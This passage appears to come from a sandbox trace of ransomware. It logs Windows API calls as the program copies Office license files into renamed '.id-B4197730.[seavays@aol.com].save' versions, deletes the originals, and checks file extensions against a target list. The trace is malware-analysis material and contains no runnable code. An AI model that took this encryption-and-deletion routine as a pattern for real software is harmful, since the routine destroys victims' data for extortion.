lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5170, lpOverlapped=0x0) returned 1 [0182.962] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.962] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x104, lpOverlapped=0x0) returned 1 [0182.963] SetEndOfFile (hFile=0x444) returned 1 [0182.963] CloseHandle (hObject=0x444) returned 1 [0182.963] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.963] SetEndOfFile (hFile=0x388) returned 1 [0182.967] CloseHandle (hObject=0x388) returned 1 [0182.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1 [0182.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0182.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0182.969] lstrlenW (lpString=".doc") returned 4 [0182.969] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.969] lstrlenW (lpString=".docx") returned 5 [0182.969] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.969] lstrlenW (lpString=".pdf") returned 4 [0182.969] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.969] lstrlenW (lpString=".xls") returned 4 [0182.969] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.969] lstrlenW (lpString=".xlsx") returned 5 [0182.969] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.969] lstrlenW (lpString=".ppt") returned 4 [0182.969] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0182.970] lstrlenW (lpString=".zip") returned 4 [0182.970] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.970] lstrlenW (lpString=".rar") returned 4 [0182.970] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.970] lstrlenW (lpString=".bz2") returned 4 [0182.970] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.970] lstrlenW (lpString=".7z") returned 3 [0182.970] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0182.970] lstrlenW (lpString=".dbf") returned 4 [0182.970] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0182.970] lstrlenW (lpString=".1cd") returned 4 [0182.970] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0182.970] lstrlenW (lpString=".jpg") returned 4 [0182.970] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.971] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11574) returned 1 [0182.971] CloseHandle (hObject=0x388) returned 1 [0182.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220 [0182.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.972] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.972] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0182.973] GetLastError () returned 0x0 [0182.973] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d36, lpOverlapped=0x0) returned 1 [0182.975] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d40, lpOverlapped=0x0) returned 1 [0182.976] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.976] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10a, lpOverlapped=0x0) returned 1 [0182.976] SetEndOfFile (hFile=0x444) returned 1 [0182.977] CloseHandle (hObject=0x444) returned 1 [0182.977] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.977] SetEndOfFile (hFile=0x388) returned 1 [0182.980] CloseHandle (hObject=0x388) returned 1 [0182.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1 [0182.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0182.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0182.982] lstrlenW (lpString=".doc") returned 4 [0182.982] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.982] lstrlenW (lpString=".docx") returned 5 [0182.982] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.983] lstrlenW (lpString=".pdf") returned 4 [0182.983] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.983] lstrlenW (lpString=".xls") returned 4 [0182.983] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.983] lstrlenW (lpString=".xlsx") returned 5 [0182.983] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.983] lstrlenW (lpString=".ppt") returned 4 [0182.983] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0182.983] lstrlenW (lpString=".zip") returned 4 [0182.983] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.983] lstrlenW (lpString=".rar") returned 4 [0182.983] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.983] lstrlenW (lpString=".bz2") returned 4 [0182.983] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.983] lstrlenW (lpString=".7z") returned 3 [0182.983] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0182.983] lstrlenW (lpString=".dbf") returned 4 [0182.983] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0182.983] lstrlenW (lpString=".1cd") returned 4 [0182.983] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0182.983] lstrlenW (lpString=".jpg") returned 4 [0182.983] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.985] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19919) returned 1 [0182.985] CloseHandle (hObject=0x388) returned 1 [0182.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220 [0182.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.986] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.986] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0182.988] GetLastError () returned 0x0 [0182.988] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0183.108] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0183.110] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.110] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10a, lpOverlapped=0x0) returned 1 [0183.110] SetEndOfFile (hFile=0x444) returned 1 [0183.110] CloseHandle (hObject=0x444) returned 1 [0183.110] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.110] SetEndOfFile (hFile=0x388) returned 1 [0183.114] CloseHandle (hObject=0x388) returned 1 [0183.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1 [0183.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0183.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0183.117] lstrlenW (lpString=".doc") returned 4 [0183.117] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.117] lstrlenW (lpString=".docx") returned 5 [0183.117] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.117] lstrlenW (lpString=".pdf") returned 4 [0183.117] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.117] lstrlenW (lpString=".xls") returned 4 [0183.117] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.117] lstrlenW (lpString=".xlsx") returned 5 [0183.117] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.118] lstrlenW (lpString=".ppt") returned 4 [0183.118] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0183.118] lstrlenW (lpString=".zip") returned 4 [0183.118] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.118] lstrlenW (lpString=".rar") returned 4 [0183.118] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.118] lstrlenW (lpString=".bz2") returned 4 [0183.118] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.118] lstrlenW (lpString=".7z") returned 3 [0183.118] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0183.118] lstrlenW (lpString=".dbf") returned 4 [0183.118] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0183.118] lstrlenW (lpString=".1cd") returned 4 [0183.118] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0183.118] lstrlenW (lpString=".jpg") returned 4 [0183.118] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.119] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=9601) returned 1 [0183.119] CloseHandle (hObject=0x388) returned 1 [0183.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220 [0183.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0183.121] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.121] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0183.122] GetLastError () returned 0x0 [0183.122] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2581, lpOverlapped=0x0) returned 1 [0183.124] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2590, lpOverlapped=0x0) returned 1 [0183.125] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.125] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10c, lpOverlapped=0x0) returned 1 [0183.125] SetEndOfFile (hFile=0x444) returned 1 [0183.126] CloseHandle (hObject=0x444) returned 1 [0183.126] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.126] SetEndOfFile (hFile=0x388) returned 1 [0183.131] CloseHandle (hObject=0x388) returned 1 [0183.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1 [0183.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0183.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0183.133] lstrlenW (lpString=".doc") returned 4 [0183.133] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.133] lstrlenW (lpString=".docx") returned 5 [0183.133] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.133] lstrlenW (lpString=".pdf") returned 4 [0183.134] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.134] lstrlenW (lpString=".xls") returned 4 [0183.134] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.134] lstrlenW (lpString=".xlsx") returned 5 [0183.134] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.134] lstrlenW (lpString=".ppt") returned 4 [0183.134] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0183.134] lstrlenW (lpString=".zip") returned 4 [0183.134] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.134] lstrlenW (lpString=".rar") returned 4 [0183.134] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.134] lstrlenW (lpString=".bz2") returned 4 [0183.134] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.134] lstrlenW (lpString=".7z") returned 3 [0183.134] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0183.134] lstrlenW (lpString=".dbf") returned 4 [0183.134] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0183.134] lstrlenW (lpString=".1cd") returned 4 [0183.134] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0183.135] lstrlenW (lpString=".jpg") returned 4 [0183.135] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.135] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10619) returned 1 [0183.135] CloseHandle (hObject=0x388) returned 1 [0183.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220 [0183.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0183.137] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.137] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0183.138] GetLastError () returned 0x0 [0183.138] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x297b, lpOverlapped=0x0) returned 1 [0183.141] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2980, lpOverlapped=0x0) returned 1 [0183.142] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.142] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xfe, lpOverlapped=0x0) returned 1 [0183.142] SetEndOfFile (hFile=0x444) returned 1 [0183.142] CloseHandle (hObject=0x444) returned 1 [0183.142] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.142] SetEndOfFile (hFile=0x388) returned 1 [0183.329] CloseHandle (hObject=0x388) returned 1 [0183.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1 [0184.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0184.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0184.091] lstrlenW (lpString=".doc") returned 4 [0184.091] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.091] lstrlenW (lpString=".docx") returned 5 [0184.091] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.091] lstrlenW (lpString=".pdf") returned 4 [0184.091] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.091] lstrlenW (lpString=".xls") returned 4 [0184.091] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.091] lstrlenW (lpString=".xlsx") returned 5 [0184.091] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.091] lstrlenW (lpString=".ppt") returned 4 [0184.091] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 